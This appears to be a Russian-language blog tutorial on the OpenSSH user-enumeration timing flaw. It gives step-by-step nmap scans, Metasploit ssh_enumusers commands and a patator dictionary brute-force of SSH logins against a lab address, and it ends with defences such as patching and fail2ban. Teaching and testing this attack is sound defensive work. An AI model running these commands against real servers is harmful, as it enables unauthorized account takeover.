Содержание
Весьма популярная уязвимость OpenSSH серверов связана с так называемым “перечислением” пользователей (user enumeration). Связана она с тем, что процедура проверки пароля существующего и не существующего пользователя выполняется за различное время. И разница эта достаточна для фиксации машинными методами.
Вероятно разработчики задумывали это не как баг, а как фичу, ведь если пользователь с указанным именем вообще не существует, зачем проверять пароль и тратить процессорное время на ненужные криптографические преобразования? Можно просто “отбиться” с результатом – “неверно”. Но атакующая сторона это смогла использовать в своих интересах. Если ставить список (словарь) популярных имён пользователей, то можно по нему провести так называемую энумерацию и выделить новые цели для атаки.
Ход атаки
Продемонстрирую данную атаку в деле:
Разведка сервера
До банального просто. Сканируем узел в поиске SSH-сервиса. Причём можно выполнить сперва базовое сканирование:
$ nmap -p- 192.168.0.112
для поиска всех отвечающих TCP-портов. А затем уже прогнать определение версии сервиса для интересующих. Нам повезло – SSH висит на стандартном порту.
$ nmap -p 22 -sV -sC 192.168.0.112
покажет нам версию конкретно SSH-сервера и выполнит стандартные для этой службы скрипты – в частности получение слепка ключа.
Перечисление имён пользователей
Запускаем Metasploit
$ msfconsole
и выполним там поиск модуля по интересующим ключевым словам:
msf6> search ssh enum
Среди всего перечисленного нам подходит #3. Используем его:
msf6> use 3
Заполним остальные опции:
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.0.112
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
Вы можете использовать произвольный словарь – простой текстовый файлик, где каждый логин – отдельная строка. Запускам модуль:
Перечислено много пользователей, но стандартные сервисные нам неинтересы – скорее всего войти интерактивно под ними нам не удастся всё равно. Поэтому отберём только те, которые выглядят как обычные, человеческие логины.
Атака перебором
Для атаки я предпочитаю использовать patator
$ patator ssh_login host=192.168.0.112 user=litladmin password=FILE0 0=/usr/share/wordlists/rockyou.txt
Синтаксис затруднений не вызывает, думаю.
После непродолжительной атаки (если повезёт и если не стоит блокировка от перебора) мы увидим сообщение в виде баннера SSH. Значит пароль подошёл!
Вот так за пару минут всё это может и сработать.
Указанная уязвимость существовала предположительно до версии 7.7 OpenSSH сервера. Так что проверяйте, обновляйтесь!
А вот и демо-видео
Демо видео
Как защититься
- Прежде всего – пропатчить свой SSH, чтобы сделать невозможной перечисление пользователей.
- Использовать несловарные логины пользователей, которым разрешён интерактивный вход по SSH (например тот же ssh90_user лучше, чем просто user).
- Использовать fail2ban для предотвращения атаки методом перебора.
- Использовать сложные, несловарные пароли.
Comments: